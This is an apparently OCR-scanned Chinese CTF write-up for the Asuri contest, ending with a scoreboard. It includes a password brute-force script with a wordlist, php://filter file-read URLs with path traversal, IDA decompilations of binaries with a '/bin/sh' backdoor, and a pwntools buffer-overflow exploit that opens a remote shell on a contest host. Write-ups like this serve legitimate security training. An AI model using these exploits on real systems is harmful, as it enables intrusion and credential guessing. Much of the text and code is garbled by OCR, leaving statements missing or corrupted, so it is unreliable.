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Asuri{view_source's power}
P T 5
http://47.102.107.100:39012/

BELE20IRTE1-2s W AT R B IER, BIA752Iflag.

requests.Session()
s.get("http://47.102.107.100:39012/")
i in range(20):
time.sleep(1)
equation = re.findall(r'<div>(.*)=(.*)</div>"', r.text)[0]
print(equation)
answer = eval(equation[0])
if answer == eval(equation[1]):
values = {'answer': ‘'true'}
else:
values = {'answer': 'false'}
r = s.post("http://47.102.107.100:39012/", data=values)

r.encoding = 'utf-8'

print(r.text)
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=8 Tool Box E' --Meighbors-—-
Result View Br-.j 139.9.212.218:39010
B Progress View =
----- 8 Web Spider E‘ server-status(403)
----- © Internet Explorer [ index.php(202}
----- < Hitp Filter =3 =
----- fig. Hitp Editor

-5 SQL Injection

----- Q Dirctionary Editor
----- 7 SRC Script

----- "?" Port Scanner

----- - Deep Scanner
@& System

----- 40k Setting List

Vi la) robots.txt H3:

<« C @ © % 139.9.212.218:39010;

=Rt & &=AE [0 2EMLE & ERREiFAFE.

User—agent: #
Disallow: /
Disallow: /hint. php
Disallow: /index. php



Viial hint.php 132 —AN3C
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ladmin ~
admin12
admin888
admin8
admin123
sysadmin
gazwsxedc
Tgaz2wsx
zxcvbn
asdfgh
qwerty
gazxdr
gwaszx
111111
123123
123321
abcdef
abcdefg
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4816535
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520
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# -*- coding:utf-8 -*-
import requests

requests.Session()
s.get("http://139.9.212.218:39010/index.php")
.encoding = "utf-8"
print(r.text)

with open('name-pass.txt', 'r') as file:

contents = file.read().split()
# print(contents)
passwords = contents

password in passwords:
values = {'name': 'admin',
'password': password}
s.get("http://139.9.212.218:39010/index.php", params=values)
r.encoding = 'utf-8'
if 'R not in r.text:

print(r.text)
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< IDOCTYPE html>

<html><head><meta charset="utf-8" />

<title>Hi hacker</title>

</head>

<body bgcolor="bisque">

<form action="index.php" method="get">FHF4: <br><input type="text" name="name"><br>%fi%: <br><input type="text"
name="password"><br><br><input type="submit" value="%fk">

</form>

<p>hint:adminf 7 FIZ R UAFEEANTEE </p>

<p>

EREBEET, BKflag TR T ! Asuri{Burp_1s_Gre@t}</p>

flag: Asuri{Burp_1s_Gre@t}
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Connection: Keep-Alive
Content-Length: 15
Content-Type: text/html; charset=utf-8
Date: Sun, 17 Nov 2019 13:25:42 GMT
Keep-Alive: timeout=5, max=100
Refresh: 3url=read file.php
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-Tubuntu4.14
v &R (483 =) IRuas
Accept: text/html,application/xhtml+xm...plication/xml;g=0.9,*/*q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
(® Cache-Control: no-cache
Connection: keep-alive
Cookie: session=44d96359-d571-4110-892a-eaaa93dff31a; user=admin
Host: 139.9.212.218:39009
Pragma: no-cache
Upgrade-Insecure-Requests: 1
o IMNER BiEE3sdEm/1.05KB User-Agent: Mozilla/5.0 (Windows NT 10.0; ...) Gecko/20100101 Firefox/70.0
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array(28) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3)
"app" [4]=> string(3) "bin" [5]=> string(4) "boot" [6]=> string(26)
"create mysgl admin user.sh” [7]=> string(3) "dev" [8]=> string(3) "etc" [9]=> string(14)
"flag04ad59.php" [10]=> string(4) "home" [11]=> string(3) "lib" [12]=> string(5) "lib64" [13]=>
string(5) "media” [14]=> string(3) "mnt" [15]=> string(3) "opt" [16]=> string(4) "proc" [17]=>
string(4) "root" [18]=> string(3) "run” [19]=> string(6) "run.sh" [20]=> string(4) "sbin" [21]=>
string(3) "srv" [22]=> string(16) "start-apache2.sh" [23]=> string(15) "start-mysqld.sh" [24]=>
string(3) "sys" [25]=> string(3) "tmp" [26]=> string(3) "usr" [27]=> string(3) "var" } <?php
header ("Content—type: text/html; charset=utf-8");

if{:isselt {:S_GET[’ ur‘_-’ ]3}
Surl = $ GET[ url ];
var dump (@scandir ($url)) ;

show source( FILE ):
?>

AT ! emmmiX N scandirE 4 REUX Mag KR AB L !

F T RIFERIWriteUP, RILPHPIE ] BUX 4 SO CRIE

)i file=php://filter/read=convert.base64-encode/resource= +Z%} 1%
http://139.9.212.218:39009/read_file.php?file=php://ffilter/read=convert.base64-encode/resource=.../.../.../flag04ad59.php
LIy

http://139.9.212.218:39009/read_file.php?file=php://ffilter/read=convert.base64-encode/resource=/flag04ad59.php
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<?php
//Asuri{WEB_WINNER}
?>

flag: Asuri{WEB_WINNER}
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1int _ cdecl main(int argc, const char **argv, const char **envp)
2i{
3| int v4; // [rsp+Ch] [rbp-64h]
4| char buf; // [rsp+18h] [rbp-68h]
5/ size_t nbytes; // [rsp+6Ch] [rbp-4h]
7| setvbuf(stdin, @LL, 2, @LL);
8| setvbuf(_bss_start, 6LL, 2, 6LL);
9| setvbuf(stderr, @OLL, 2, OLL);
18| puts("I have a door.Could you open it?");

= =
(¥ g}

WO 00 =] h

puts(“Please input your passworld size");
__i50c99 _scanf("%d", &v4);
if (w4 > 19 || v4 < @)

exit(0);
puts("Please input your password");
LODWORD{nbytes) = v4 - 1;
read(®, &buf, (unsigned int)(v4d - 1));
return @;

o shENES
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IDA View—4 i

B
Linit
.plt

.plt
.plt
.plt
.plt
.olt

int door()

{
}

return 5y5teﬂ("{bin{5h");

= WU ]

:~$ nc 49.235.243.206 9001

p

I have a door.Could you open it?

Please input your passworld size
19
Please input your password




from pwn import * # 5/ Apwntools/&
import time

sh = remote('49.235.243.206', 9001) # LI&#5HGRF5ZSHIELE

offset = Ox60+0x8 # MHE

system_addr = 0x400766 # systemigEiHhf

for i in range(@, 20):
sh.recvuntil('Please input your passworld size')
sh.sendline(p64(i)) # HEFREHHE
sh.recvuntil('Please input your password')
payload = offset * b'a' + p64(system_addr) # HEL 4
sh.sendline(payload) # /EFEFRIESHHE
sh.interactive() # #EHREMFEFEERHOXE

TIASE, MR

medium_rev

#!/usr/bin/env python
# encoding: utf-8

def
index = [
0] * 100
for i in range(100):
tmp = 1 ~ 77
yield tmp
None

def (msg, key):
iters = encrypt_for_each()
enc = []
for (m, k) in zip(msg, key):
e =m" k ~ iters._next_ ()
enc.append(e)

return enc

def (num) :
if num < 2:
return False
for i in range(2, num):
if num % i ==
return False
return True










148,
105,
89,
117]
key = (lambda .0: continue[ i for i in .0 ])(filter(check_prime, test))

return key
if __name__ == '_ _main__"':
key = generate_key()
msg = [
22,
21,




75]
print('encryt message is {}'.format(msg))

lambda .0: continue[ i for i in .0 ] XA .0 HITA T Bemmm
PRI xR AL R !

middle_pwn

Em MRS MBS BB RN SMEES

7 EHEED o8 x IDA Viev—4 T 8 O 758
BECERR Ex 1lint _ cdecl main()

_init_proc .init 2 -~ B -
sub_B04340 plt 3| char s; /[ [esp+8h] [ebp-26h]
_read plt 4| ant v2; ff [esp+1Ch] [ebp-Ch]
_printf .plt 5
_system .plt 6| setvbuf(stdin, @, 2, @);
___1libc_start_main .plt 7| setvbuf(stdout, @, 2, @);
_setvbuf .plt g v2 = @;
_memset .plt 9 memset(&s, @, @x14u);
__gmon_start__ .plt. 18| printf("hello,what’s your name?,%13%p\n");
start . text 11| read(@, &=, Ox48u);
sub_B048450 . text 12 ppintf("ok)%s_") &5)]
sub_B048460 Ltext 13| return 9;
sub_g0434D0 . text 14}
sub_Z0434F0 . text
sub_B04851E . text
main . text
init . text
fini . text
_term_proc . fini
read exte
printf exte
system exte
__1ibec_start_main exte
setvbuf exte
mnemset exte

i ID& View—h f

1lint sub_804851B()

o L

+ 3| return system("/bin/sh");
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5 Kazusa
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7 em

8 noname
9 GY

10 Leeasina
11 vigoss

12 rapier

13 Kizina

14 LexWan

15 Dr_Brainstorm
16 Dragon Liu

17 Leo

18 Christmas

19 ValKmijolnir

20 stech2333
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